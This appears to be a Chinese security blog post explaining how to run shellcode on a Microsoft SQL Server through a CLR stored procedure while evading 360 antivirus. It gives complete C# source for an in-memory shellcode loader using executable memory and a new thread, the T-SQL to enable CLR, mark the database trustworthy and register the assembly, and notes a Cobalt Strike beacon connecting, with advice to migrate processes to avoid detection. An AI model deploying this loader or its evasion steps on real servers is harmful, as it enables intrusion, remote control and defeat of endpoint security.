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关于博客

面试

杂谈

MSSQL CLR Bypass杀软

把h靶场整好之后有师傅来探讨没有web的环境，因为一般内网可能有弱口令，不过没有web服务

本来在sqlps还能用的情况下还是好过的，结果在那篇文章出来之后360直接把sqlps干掉了

后来碰到这样的情况又过不去了。。。。。。

最后再说几句废话，CLR是和UDF很像的东西，网上很多的文章都是创建cmd执行命令，因为在sqlserver下创建进程是会被拦截的，当时肤浅的以为CLR也没用了，现在再去看，想着都可以c#编程了直接写加载器把shellcode加载到内存不就可以了

0x01 配置

首先需要安装Visual Studio，找到Visual Studio Installer，点击修改找到数据存储和处理

勾选后点击右下角修改

打开Visual Studio创建Sql Server数据库项目

点击Properties，修改目标平台，选上创建脚本.sql文件

修改目标框架，像win2008要选.net3.5，权限级别修改为UNSAFE

然后到项目右键->新建项

然后就可以开始写代码了

0x02 代码

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using System;
using Microsoft.SqlServer.Server;
using System.Runtime.InteropServices;


public partial class StoredProcedures
{
    [Microsoft.SqlServer.Server.SqlProcedure]
    public static void shellcode_loader(string sc)
    {
        // 在此处放置代码
        SqlContext.Pipe.Send(shellcode_exec(sc));
    }

    public static string shellcode_exec(string sc)
    {
        byte[] sa = new byte[1000];
        int shellcode_len = sc.Length / 2;
        for (int i = 0; i < shellcode_len; i++)
        {
            string code = "0x" + sc.Substring(i * 2, 2);
            int a = Convert.ToInt32(code, 16);
            sa[i] = (byte)a;
        }

        UInt32 shellcodeAddress = VirtualAlloc(0, (UInt32)sa.Length, 0x1000, 0x40);
        Marshal.Copy(sa, 0, (IntPtr)(shellcodeAddress), sa.Length);
        CreateThread(0, 0, shellcodeAddress, 0, 0, 0);
        return "";

    }
    [DllImport("kernel32")]
    private static extern UInt32 VirtualAlloc(UInt32 lpAddress, UInt32 dwSize, UInt32 flAllocationType, UInt32 flProtect);

    [DllImport("kernel32")]
    private static extern UInt32 CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, UInt32 lpParameter, UInt32 dwCreationFlags, UInt32 lpThreadId);
}

这里主要还是模仿Y4大佬的，把cmd执行命令的函数改为了直接加载shellcode

在C#中使用下面的方法调用windowsapi

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[DllImport("kernel32")]
    private static extern UInt32 VirtualAlloc(UInt32 lpAddress, UInt32 dwSize, UInt32 flAllocationType, UInt32 flProtect);

往mssql传的参数需要为字符串，还需要将字符串转化为二进制的shellcode，使用for循环读二个字符然后转化为十六进制再存到数组中，最后循环完将shellcode放入开辟的内存中创建新线程执行

在bin文件加下面会生成sql文件

mssql中执行

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sp_configure 'clr enabled', 1
GO
RECONFIGURE
GO
ALTER DATABASE master SET TRUSTWORTHY ON;
GO
CREATE ASSEMBLY [MSSQL_ShellcodeLoader]
    AUTHORIZATION [dbo]
    FROM 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    WITH PERMISSION_SET = UNSAFE;

GO
CREATE PROCEDURE [dbo].[shellcode_loader]
@sc NVARCHAR (MAX)
AS EXTERNAL NAME [MSSQL_ShellcodeLoader].[StoredProcedures].[shellcode_loader]

然后执行

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exec shellcode_loader 'shellcode'

可以看到360没有拦截上线cs了

接下来只需要进程迁移，不要在sqlserver下面创建进程就可以了

0x03 参考

https://y4er.com/post/mssql-execute-command-with-clr-assemblies/

...
Macchiato
2022-06-30
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